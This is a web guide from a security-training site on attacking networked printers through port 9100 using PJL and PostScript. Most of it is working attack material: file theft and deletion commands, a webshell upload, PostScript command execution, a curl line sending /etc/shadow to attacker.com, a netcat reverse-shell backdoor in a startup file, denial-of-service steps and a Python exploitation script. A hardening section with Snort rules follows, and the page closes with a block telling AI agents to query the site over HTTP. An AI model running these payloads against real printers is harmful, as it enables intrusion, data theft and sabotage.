# PJL (Printer Job Language) - Port 9100

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Port 9100?

**Port 9100** (JetDirect/AppSocket/Raw Printing) is a **bidirectional TCP channel** used for direct printer communication. Unlike LPD, IPP, or SMB printing protocols, port 9100 provides:

* **Direct data stream** - No protocol overhead
* **Bidirectional communication** - Immediate feedback
* **PJL command support** - Printer configuration and control
* **PostScript/PCL processing** - Document rendering
* **File system access** - Read/write printer storage

**Key Characteristics:**

* No authentication by default
* Plaintext communication
* Supported by virtually all network printers
* Used by Windows, Linux (CUPS), and macOS

#### Printing Protocols Overview

```
┌─────────────────────────────────────────────────────────────┐
│               Network Printing Protocols                    │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Port 9100 - JetDirect/AppSocket (Raw Printing)             │
│  ├── Direct TCP connection                                  │
│  ├── No protocol wrapper                                    │
│  ├── PJL, PostScript, PCL support                           │
│  └── Bidirectional feedback                                 │
│                                                             │
│  Port 515 - LPD (Line Printer Daemon)                       │
│  ├── Classic UNIX printing                                  │
│  ├── Queue-based                                            │
│  └── Limited feedback                                       │
│                                                             │
│  Port 631 - IPP (Internet Printing Protocol)                │
│  ├── HTTP-based                                             │
│  ├── Encryption support (IPPS)                              │
│  └── Advanced features                                      │
│                                                             │
│  Port 445 - SMB Printing                                    │
│  ├── Windows native                                         │
│  ├── Authentication required                                │
│  └── Active Directory integration                           │
└─────────────────────────────────────────────────────────────┘
```

#### Printer Job Language (PJL)

**PJL** is a command language that extends PCL and PostScript:

* **Printer configuration** - Settings, modes, passwords
* **File system access** - Read, write, delete files
* **Information gathering** - Status, environment, capabilities
* **Job control** - Print job management
* **Security** - Access control (when implemented)

**PJL Command Format:**

```
@PJL COMMAND [PARAMETER=VALUE] [PARAMETER=VALUE]
```

**Common Command Categories:**

1. **INFO Commands** - Gather information
2. **FS Commands** - File system operations
3. **RDYMSG** - Display messages
4. **PASSWORD** - Access control
5. **USTATUS** - Unsolicited status

#### PostScript (PS)

**PostScript** is a page description language:

* Device-independent
* Stack-based programming language
* Can execute arbitrary code
* File system access capabilities

#### Page Description Language (PCL)

**PCL (Printer Control Language)**:

* HP's proprietary printer language
* Simpler than PostScript
* Less powerful but faster
* Embedded systems common

#### Default Port

**Port 9100** - JetDirect/AppSocket

```
PORT     STATE SERVICE
9100/tcp open  jetdirect
```

**Additional Printer Ports:**

* **515** - LPD (Line Printer Daemon)
* **631** - IPP (Internet Printing Protocol)
* **9220** - HP JetDirect alternative
* **161** - SNMP (printer management)

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 9100 -sV <target-ip>

# Detailed scan
nmap -p 9100 -sV -sC <target-ip>

# Comprehensive printer ports
nmap -p 515,631,9100,9220,161 -sV <target-ip>

# Printer-specific scripts
nmap -p 9100 --script pjl-ready-message <target-ip>

# Scan subnet for printers
nmap -p 9100 -sV <target-subnet>/24 -oA printer-scan
```

**Sample Output:**

```
PORT     STATE SERVICE   VERSION
9100/tcp open  jetdirect HP LaserJet 4250
|_pjl-ready-message: HP LaserJet 4250 is ready
515/tcp  open  printer
631/tcp  open  ipp       CUPS 2.3
161/udp  open  snmp      SNMPv1 server
```

#### Service Fingerprinting

**Banner Grabbing**

```bash
# Using netcat
nc <target-ip> 9100

# Send PJL info command
echo -e "@PJL INFO ID\r\n" | nc <target-ip> 9100

# Sample output:
# Brother HL-L2360D series:84U-F75:Ver.b.26
```

**PJL Information Commands**

```bash
# Device ID
echo -e "@PJL INFO ID\r\n" | nc <target-ip> 9100

# Status
echo -e "@PJL INFO STATUS\r\n" | nc <target-ip> 9100

# Variables
echo -e "@PJL INFO VARIABLES\r\n" | nc <target-ip> 9100

# Product info
echo -e "@PJL INFO PRODINFO\r\n" | nc <target-ip> 9100
```

#### Shodan Queries

```
port:9100
port:9100 jetdirect
"HP LaserJet" port:9100
"Brother" port:9100
printer port:9100
pjl port:9100
```

### Manual PJL Exploitation

#### Basic Information Gathering

**Device Information**

```bash
# Connect via netcat
nc <target-ip> 9100

# Device ID and version
@PJL INFO ID

# Output example:
# HP LaserJet P3015 Firmware:07.264.3

# Status
@PJL INFO STATUS

# Output:
# CODE=40000
# DISPLAY="Ready"
# ONLINE=TRUE

# Product information
@PJL INFO PRODINFO

# Environment variables
@PJL INFO VARIABLES

# File system info
@PJL INFO FILESYS

# Timeout settings
@PJL INFO TIMEOUT

# Memory
@PJL INFO MEMORY
```

**Configuration Details**

```bash
# Get configuration
@PJL INFO CONFIG

# Supported page description languages
@PJL INFO PAGEPROTECT

# Ustatus variables
@PJL INFO USTATUS

# Device capabilities
@PJL INFO USTATUS DEVICE
```

#### File System Operations

**List Directory**

```bash
# List root directory
@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535

# Output example:
# . TYPE=DIR
# .. TYPE=DIR
# webServer TYPE=DIR SIZE=0
# saveDevice TYPE=DIR SIZE=0
# PostScript TYPE=FILE SIZE=1234
# PJL TYPE=FILE SIZE=5678

# List specific directory
@PJL FSDIRLIST NAME="0:\webServer" ENTRY=1 COUNT=100

# Initialize file system (sometimes needed)
@PJL FSINIT
```

**Download File**

```bash
# Download file from printer
@PJL FSUPLOAD NAME="0:\webServer\home\device.html" OFFSET=0 SIZE=65535

# Or using FSQUERY first to get size
@PJL FSQUERY NAME="0:\webServer\config.xml"

# Then download
@PJL FSUPLOAD NAME="0:\webServer\config.xml" OFFSET=0 SIZE=<size_from_query>
```

**Upload File**

```bash
# Upload file to printer
@PJL FSDOWNLOAD FORMAT:BINARY SIZE=<file_size> NAME="0:\webServer\backdoor.html"
<file_content_bytes>

# Example: Upload webshell
@PJL FSDOWNLOAD FORMAT:BINARY SIZE=50 NAME="0:\webServer\shell.html"
<html><body><?php system($_GET['c']); ?></body></html>
```

**Delete File**

```bash
# Delete file
@PJL FSDELETE NAME="0:\logs\security.log"

# Delete directory (if empty)
@PJL FSDELETE NAME="0:\temp"
```

#### Display Messages

**Ready Message Manipulation**

```bash
# Get current ready message
@PJL RDYMSG

# Set custom ready message
@PJL RDYMSG DISPLAY="HACKED BY PENTESTER"

# This appears on printer display screen
# Can be used for social engineering
# Or DoS (confusing messages)
```

#### Memory Operations

**Dump Memory (Some Models)**

```bash
# Dump memory contents
@PJL DMCMD ASCIIHEX="040006030443414E4F4E000000"

# Format-specific to printer model
# May expose sensitive data in memory
```

#### PostScript Exploitation

**PostScript File Operations**

```postscript
%!PS
% List files
(/etc/passwd) (r) file

% Read file
(/etc/passwd) (r) file
{ currentfile 1024 string readline pop = } loop

% Write file
(/tmp/backdoor.txt) (w) file
(Backdoor installed) writestring
closefile

% Execute commands (if allowed)
(%pipe%whoami) (r) file
{ currentfile 128 string readline pop = } loop
```

**Send PostScript via Port 9100**

```bash
# Create PostScript file
cat > exploit.ps << 'EOF'
%!PS
/str 128 string def
/f (%pipe%id) (r) file def
{ f str readline } loop
EOF

# Send to printer
cat exploit.ps | nc <target-ip> 9100
```

## Automated Exploitation with PRET

#### PRET (Printer Exploitation Toolkit)

**Installation**

```bash
# Clone repository
git clone https://github.com/RUB-NDS/PRET.git
cd PRET

# Install dependencies
pip3 install colorama pysnmp

# Run PRET
python3 pret.py
```

**Basic Usage**

```bash
# Connect to printer (auto-detect protocol)
python3 pret.py <target-ip>

# Specify protocol
python3 pret.py <target-ip> pjl
python3 pret.py <target-ip> ps
python3 pret.py <target-ip> pcl

# With specific port
python3 pret.py <target-ip>:9100 pjl
```

**PRET Commands**

```bash
# Once connected to printer:

# Information gathering
> info           # Device information
> version        # Firmware version
> id             # Device ID
> status         # Current status
> env            # Environment variables
> timeout        # Timeout settings

# File system
> ls             # List files
> cd <dir>       # Change directory
> pwd            # Current directory
> cat <file>     # Read file
> get <file>     # Download file
> put <file>     # Upload file
> rm <file>      # Delete file
> mirror         # Download all files

# Memory
> dump           # Dump memory
> nvram dump     # Dump NVRAM

# Network
> discover       # Discover other printers
> flood          # Send packets for DoS

# Manipulation
> display <msg>  # Change display message
> restart        # Restart printer
> reset          # Factory reset
> lock           # Lock printer

# Exploitation
> traversal      # Path traversal attack
> overlay        # Overlay attack
> replace        # Replace print jobs
> capture        # Capture print jobs
```

#### Nmap Scripts

```bash
# PJL ready message
nmap -p 9100 --script pjl-ready-message <target-ip>

# Output:
# | pjl-ready-message:
# |_  HP LaserJet is ready
```

#### Metasploit Modules

**Available Modules**

```bash
msf6 > search printer

# Information gathering
use auxiliary/scanner/printer/printer_env_vars
use auxiliary/scanner/printer/printer_list_dir
use auxiliary/scanner/printer/printer_list_volumes
use auxiliary/scanner/printer/printer_ready_message
use auxiliary/scanner/printer/printer_version_info

# File operations
use auxiliary/scanner/printer/printer_download_file
use auxiliary/scanner/printer/printer_upload_file
use auxiliary/scanner/printer/printer_delete_file

# Exploitation
use auxiliary/admin/printer/printer_ready_message
```

**Example Usage**

```bash
# Get environment variables
msf6 > use auxiliary/scanner/printer/printer_env_vars
msf6 auxiliary(scanner/printer/printer_env_vars) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/printer/printer_env_vars) > run

# List directory
msf6 > use auxiliary/scanner/printer/printer_list_dir
msf6 auxiliary(scanner/printer/printer_list_dir) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/printer/printer_list_dir) > set PATH "0:\"
msf6 auxiliary(scanner/printer/printer_list_dir) > run

# Download file
msf6 > use auxiliary/scanner/printer/printer_download_file
msf6 auxiliary(scanner/printer/printer_download_file) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/printer/printer_download_file) > set FILE "0:\config.xml"
msf6 auxiliary(scanner/printer/printer_download_file) > run
```

## Data Exfiltration Attacks

#### Print Job Capture

**Capture Print Jobs via Port Mirroring**

```bash
# Intercept print jobs (requires network position)
# 1. ARP spoofing between client and printer
# 2. Capture traffic on port 9100

# Using tcpdump
sudo tcpdump -i eth0 -w printjobs.pcap port 9100

# Using Wireshark
# Filter: tcp.port == 9100
# Follow TCP stream to see print data
```

**PostScript Print Job Interception**

```bash
# Extract PostScript from pcap
tshark -r printjobs.pcap -Y "tcp.port==9100" -T fields -e data.data | \
    xxd -r -p > intercepted.ps

# Convert to PDF
ps2pdf intercepted.ps output.pdf
```

#### Memory Dump Attacks

**Dump NVRAM**

```bash
# Using PRET
python3 pret.py <target-ip> pjl
> nvram dump nvram_dump.bin

# NVRAM may contain:
# - WiFi passwords
# - SNMP community strings
# - Admin passwords
# - Print job history
# - Network configuration
```

**Access Print Job Storage**

```bash
# List stored jobs
@PJL FSDIRLIST NAME="0:\saveDevice\jobs"

# Download print jobs
@PJL FSUPLOAD NAME="0:\saveDevice\jobs\job0001.ps" OFFSET=0 SIZE=65535

# These may contain:
# - Confidential documents
# - Financial records
# - Personal information
# - Corporate secrets
```

#### Credential Harvesting

**SNMP Community Strings**

```bash
# Try default community strings
snmpwalk -v1 -c public <target-ip>
snmpwalk -v1 -c private <target-ip>

# Get printer info
snmpwalk -v1 -c public <target-ip> 1.3.6.1.2.1.25.3.2.1.3

# Sometimes NVRAM contains SNMP strings
```

**Web Interface Credentials**

```bash
# Download web server config
@PJL FSUPLOAD NAME="0:\webServer\config\device.xml"

# May contain admin passwords
# Or authentication tokens
```

## Advanced Exploitation Techniques

#### Canon TrueType VM RCE (2025)

**Vulnerability Overview**

**Affected:** Canon ImageCLASS printers&#x20;

**Impact:** Remote Code Execution via malicious TrueType fonts&#x20;

**CVE:** Not assigned at time of research

**Attack Vector:**

1. Send XPS document with malicious TrueType font
2. Font hinting bytecode exploits VM stack
3. Achieve arbitrary code execution

**Exploitation Steps**

**1. Create Malicious XPS Document**

```xml
<!-- minimal.xps (inside ZIP structure) -->
<!-- Documents/1/Pages/1.fpage -->
<FixedPage xmlns="http://schemas.microsoft.com/xps/2005/06" 
           Width="816" Height="1056">
  <Glyphs Fill="#ff000000" 
          FontUri="/Resources/evil.ttf" 
          FontRenderingEmSize="12" 
          OriginX="10" 
          OriginY="10"
          UnicodeString="A"/>
</FixedPage>
```

**2. Create Malicious TrueType Font**

```python
#!/usr/bin/env python3
"""
Create malicious TrueType font for Canon ImageCLASS RCE
"""
from fontforge import *

# Create font
font = Font()
glyph = font.createChar(65, "A")  # Character 'A'

# Add hinting bytecode (simplified)
# Real exploit uses:
# - CINDEX for info leak (OOB stack read)
# - DELTAP1 for stack pivot (unchecked)
# - WS/RS for precise writes

hinting = """
PUSHB[ ] 0x01 0x02
CINDEX    # OOB read for leak
PUSHB[ ] 0xFF
DELTAP1   # Stack pivot
PUSHB[ ] target_address
WS        # Write to function pointer
"""

# This is simplified - real exploit is complex
# See: https://haxx.in/posts/2025-09-23-canon-ttf/

font.generate("evil.ttf")
```

**3. Package XPS File**

```bash
# Create XPS structure
mkdir -p xps/Documents/1/Pages
mkdir -p xps/Resources

# Add documents
cat > xps/Documents/1/Pages/1.fpage << 'EOF'
<FixedPage xmlns="http://schemas.microsoft.com/xps/2005/06" Width="816" Height="1056">
  <Glyphs Fill="#ff000000" FontUri="/Resources/evil.ttf" 
          FontRenderingEmSize="12" OriginX="10" OriginY="10" UnicodeString="A"/>
</FixedPage>
EOF

# Copy malicious font
cp evil.ttf xps/Resources/

# Create ZIP (XPS is ZIP format)
cd xps
zip -r ../exploit.xps * -x "*.DS_Store"
cd ..
```

**4. Send to Printer**

```bash
# Send XPS via PJL
{ 
    printf "@PJL ENTER LANGUAGE = XPS\r\n"
    cat exploit.xps
} | nc -q0 <target-ip> 9100

# If successful, RCE achieved!
```

**Technical Details:**

* **CINDEX bug:** Out-of-bounds stack read → info leak
* **DELTAP1 bug:** Unchecked stack pivot → controlled writes
* **Exploitation:** Leak stack pointer, pivot, write to function pointer
* **Result:** PC (program counter) control → RCE

#### Permanent Denial of Service

**Disable Printing**

```bash
# Change ready message to error
@PJL RDYMSG DISPLAY="PRINTER ERROR: REPLACE TONER"

# Lock printer (some models)
@PJL PASSWORD <admin_password>
@PJL LOCK

# Corrupt configuration
@PJL FSDOWNLOAD NAME="0:\config\system.cfg" SIZE=10
CORRUPTDATA

# Fill storage
# Upload large files until disk full
for i in {1..1000}; do
    @PJL FSDOWNLOAD NAME="0:\temp\junk$i.dat" SIZE=10000000
    <10MB of data>
done
```

**Factory Reset**

```bash
# Reset to factory defaults (destructive)
@PJL DEFAULT

# Or via PRET
python3 pret.py <target-ip> pjl
> reset
```

#### Network Pivot

**Discover Other Printers**

```bash
# Using PRET
python3 pret.py <target-ip> pjl
> discover

# Manually via SNMP
snmpwalk -v1 -c public <target-ip> | grep "printer\|hp\|canon"

# Check ARP table
@PJL INFO USTATUS DEVICE
# Some printers expose network info
```

**Use Printer as Proxy**

```bash
# Some printers allow outbound connections
# Can be used for:
# - Port scanning internal network
# - Downloading files
# - Sending data outside

# Example: Exfiltrate via HTTP (PostScript)
%!PS
(%pipe%curl http://attacker.com/exfil -d @/etc/shadow) (r) file
```

### Persistence Mechanisms

#### Backdoor Accounts

**Web Interface Backdoor**

```bash
# Upload malicious web page
@PJL FSDOWNLOAD NAME="0:\webServer\backdoor.html" SIZE=<size>
<html>
<form action="/cgi-bin/dynamic/config/config.html" method="POST">
<input name="username" value="backdoor">
<input name="password" value="secret">
<input type="submit">
</form>
</html>

# Access at http://printer-ip/backdoor.html
```

#### Firmware Backdoor

**Replace Legitimate Files**

```bash
# Replace startup scripts (if writable)
@PJL FSUPLOAD NAME="0:\startup.ps" OFFSET=0 SIZE=65535 > original.ps

# Modify to add backdoor
cat original.ps > backdoor.ps
echo "(%pipe%/bin/nc -e /bin/sh attacker.com 4444) (r) file" >> backdoor.ps

# Upload modified version
@PJL FSDOWNLOAD NAME="0:\startup.ps" SIZE=<size>
<backdoor.ps content>
```

#### Job Scheduling

**Periodic Callback**

```bash
# Some printers support scheduled jobs
# Create recurring job that beacons out

# Via printer's cron equivalent (model-specific)
# Or abuse scheduled maintenance
```

## Defense & Hardening

#### Network Segmentation

**Isolate Printers**

```bash
# VLAN for printers only
# No direct internet access
# Restrict to print server communication

# Firewall rules
# Block inbound 9100 from internet
# Allow only from print servers

# UFW example
sudo ufw deny from any to any port 9100
sudo ufw allow from 192.168.10.0/24 to any port 9100

# iptables example
sudo iptables -A INPUT -p tcp --dport 9100 ! -s 192.168.10.0/24 -j DROP
```

#### Disable Unnecessary Services

**Printer Configuration**

```
# Disable raw printing if not needed
# Use IPP (port 631) instead
# Enable authentication where possible

# HP printers (web interface):
Networking > Advanced > Raw Printing > Disable

# Canon printers:
Settings > Network > Services > Raw Printing > Off

# Brother printers:
Network > Protocol > Raw Port Printing > Off
```

**Disable PJL**

```bash
# Some printers allow disabling PJL
# Check admin interface under:
# Network > Protocols > PJL > Disable

# Or via PJL itself (if authenticated)
@PJL PASSWORD <password>
@PJL DEFAULT PJLCONTROL=OFF
```

#### Firmware Updates

```bash
# Keep firmware updated
# Check manufacturer websites:
# - HP: https://support.hp.com/
# - Canon: https://www.canon.com/support
# - Brother: https://support.brother.com/
# - Epson: https://epson.com/support
# - Lexmark: https://support.lexmark.com/

# Verify firmware integrity
# Use signed firmware only
# Download from official sources
```

#### Access Control

**Printer Passwords**

```bash
# Set PJL password (HP)
@PJL PASSWORD <new_password>
@PJL DEFAULT PASSWORD=<new_password>

# Once set, commands require password
@PJL PASSWORD <new_password>
@PJL INFO STATUS

# Administrative access restrictions
# Enable in web interface:
# Security > Access Control > Enable
# Set administrator password
```

#### Monitoring & Detection

**Network Monitoring**

```bash
# Monitor port 9100 traffic
sudo tcpdump -i eth0 'port 9100' -w printer.pcap

# Look for suspicious PJL commands
sudo tcpdump -i eth0 -A 'port 9100' | grep -E "@PJL|FSUPLOAD|FSDOWNLOAD|FSDELETE"

# Alert on unusual activity
# - Multiple failed connection attempts
# - File system operations
# - Memory dumps
# - Display message changes
```

**Log Analysis**

```bash
# Check printer logs (if accessible)
# Web interface: Status > Logs

# Look for:
# - Unknown IP connections
# - File operations
# - Configuration changes
# - Failed authentication attempts

# SNMP monitoring
snmpwalk -v1 -c public <printer-ip> 1.3.6.1.2.1.43.5.1.1.15 # Job history
```

**Intrusion Detection**

```bash
# Snort rules for printer attacks
alert tcp any any -> any 9100 (msg:"PJL FSUPLOAD attempt"; content:"@PJL FSUPLOAD"; nocase; sid:1000001;)
alert tcp any any -> any 9100 (msg:"PJL FSDOWNLOAD attempt"; content:"@PJL FSDOWNLOAD"; nocase; sid:1000002;)
alert tcp any any -> any 9100 (msg:"PJL FSDELETE attempt"; content:"@PJL FSDELETE"; nocase; sid:1000003;)
alert tcp any any -> any 9100 (msg:"PJL PASSWORD attempt"; content:"@PJL PASSWORD"; nocase; sid:1000004;)
alert tcp any any -> any 9100 (msg:"PostScript file operation"; content:"%pipe%"; sid:1000005;)
```

#### Physical Security

```bash
# Physical access to printers
# - Lock printer rooms
# - Restrict access to admin panels
# - Secure USB ports (if accessible)
# - Monitor printer areas with cameras

# Print job security
# - Enable secure print (PIN required)
# - Automatic job deletion
# - Encrypted print jobs
```

## Tools & Scripts

#### Essential Tools

1. **PRET** - Printer Exploitation Toolkit
2. **Metasploit** - Printer modules
3. **Nmap** - Discovery and scanning
4. **tcpdump/Wireshark** - Traffic analysis
5. **netcat** - Manual PJL commands

#### Custom PJL Script

```python
#!/usr/bin/env python3
"""
PJL Exploitation Framework
"""
import socket
import sys

class PJLExploit:
    def __init__(self, host, port=9100):
        self.host = host
        self.port = port
        self.sock = None
    
    def connect(self):
        """Connect to printer"""
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.connect((self.host, self.port))
            print(f"[+] Connected to {self.host}:{self.port}")
            return True
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            return False
    
    def send_command(self, command):
        """Send PJL command"""
        try:
            self.sock.send(f"{command}\r\n".encode())
            response = self.sock.recv(8192).decode('utf-8', errors='ignore')
            return response
        except Exception as e:
            print(f"[-] Error: {e}")
            return None
    
    def get_info(self):
        """Get device information"""
        print("\n[*] Device Information:")
        
        # Device ID
        response = self.send_command("@PJL INFO ID")
        if response:
            print(f"[+] Device ID: {response.strip()}")
        
        # Status
        response = self.send_command("@PJL INFO STATUS")
        if response:
            print(f"[+] Status: {response.strip()}")
    
    def list_files(self, path="0:\\"):
        """List directory"""
        print(f"\n[*] Listing directory: {path}")
        
        command = f'@PJL FSDIRLIST NAME="{path}" ENTRY=1 COUNT=65535'
        response = self.send_command(command)
        
        if response:
            print(response)
    
    def download_file(self, filepath, output_file):
        """Download file from printer"""
        print(f"\n[*] Downloading: {filepath}")
        
        command = f'@PJL FSUPLOAD NAME="{filepath}" OFFSET=0 SIZE=65535'
        response = self.send_command(command)
        
        if response:
            with open(output_file, 'wb') as f:
                f.write(response.encode())
            print(f"[+] Saved to: {output_file}")
    
    def upload_file(self, local_file, remote_path):
        """Upload file to printer"""
        print(f"\n[*] Uploading: {local_file} -> {remote_path}")
        
        with open(local_file, 'rb') as f:
            data = f.read()
        
        command = f'@PJL FSDOWNLOAD FORMAT:BINARY SIZE={len(data)} NAME="{remote_path}"'
        self.sock.send(f"{command}\r\n".encode())
        self.sock.send(data)
        
        response = self.sock.recv(8192)
        print(f"[+] Upload complete")
    
    def set_display_message(self, message):
        """Change display message"""
        print(f"\n[*] Setting display message: {message}")
        
        command = f'@PJL RDYMSG DISPLAY="{message}"'
        response = self.send_command(command)
        print(f"[+] Message set")
    
    def close(self):
        """Close connection"""
        if self.sock:
            self.sock.close()

# Usage
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [action]")
        print("Actions: info, list, download, upload, display")
        sys.exit(1)
    
    host = sys.argv[1]
    action = sys.argv[2] if len(sys.argv) > 2 else "info"
    
    exploit = PJLExploit(host)
    
    if exploit.connect():
        if action == "info":
            exploit.get_info()
        elif action == "list":
            exploit.list_files()
        elif action == "download" and len(sys.argv) > 3:
            exploit.download_file(sys.argv[3], "downloaded_file")
        elif action == "display" and len(sys.argv) > 3:
            exploit.set_display_message(sys.argv[3])
        
        exploit.close()
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 9100 -sV <target>
nmap -p 9100 --script pjl-ready-message <target>

# MANUAL PJL
echo -e "@PJL INFO ID\r\n" | nc <target> 9100
echo -e "@PJL INFO STATUS\r\n" | nc <target> 9100
echo -e "@PJL FSDIRLIST NAME=\"0:\\\"\r\n" | nc <target> 9100

# PRET
python3 pret.py <target> pjl
> info
> ls
> get <file>
> display "message"

# METASPLOIT
use auxiliary/scanner/printer/printer_env_vars
use auxiliary/scanner/printer/printer_list_dir
use auxiliary/scanner/printer/printer_download_file
```

#### Key PJL Commands

```bash
@PJL INFO ID              # Device ID
@PJL INFO STATUS          # Status
@PJL INFO VARIABLES       # Environment variables
@PJL FSDIRLIST            # List directory
@PJL FSUPLOAD             # Download file
@PJL FSDOWNLOAD           # Upload file
@PJL FSDELETE             # Delete file
@PJL RDYMSG               # Display message
```

#### Important File Paths

```
0:\                       # Root filesystem
0:\webServer\             # Web interface files
0:\saveDevice\jobs\       # Stored print jobs
0:\config\                # Configuration files
0:\logs\                  # Log files
```

### Conclusion

Network printers represent a critical attack surface that combines data theft, network pivoting, and even remote code execution capabilities. The combination of no authentication, powerful PJL commands, and sophisticated vulnerabilities like TrueType VM exploits makes exposed printers extremely dangerous.

**Key Takeaways:**

1. **Never expose printers to internet** - Internal network only
2. **Network segmentation** - Separate VLAN for printers
3. **Disable raw printing** - Use authenticated protocols (IPP)
4. **Firmware updates** - Regular patching critical
5. **Monitor printer traffic** - IDS rules for PJL
6. **Physical security** - Control access to printers
7. **Secure print** - PIN-based job release
8. **Password protect** - Enable PJL passwords where possible
9. **Regular audits** - Check configurations and access
10. **Defense in depth** - Multiple security layers

**Attack Vectors:**

* No authentication on port 9100
* PJL file system access
* Print job capture
* Memory dumps (NVRAM)
* PostScript code execution
* TrueType VM exploitation (RCE)
* Display message manipulation
* Network pivoting
* Credential harvesting

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [Hacking Printers Wiki](http://hacking-printers.net/wiki/)
* [PRET GitHub](https://github.com/RUB-NDS/PRET)
* [Canon TrueType VM Exploit Analysis](https://haxx.in/posts/2025-09-23-canon-ttf/)
* [HP JetDirect Protocol Specification](https://developers.hp.com/hp-developers/doc/jet-direct-protocol)
* [Printer Security Testing Cheat Sheet](https://www.bs-it-security.de/)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/pjl-printer-job-language-port-9100.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
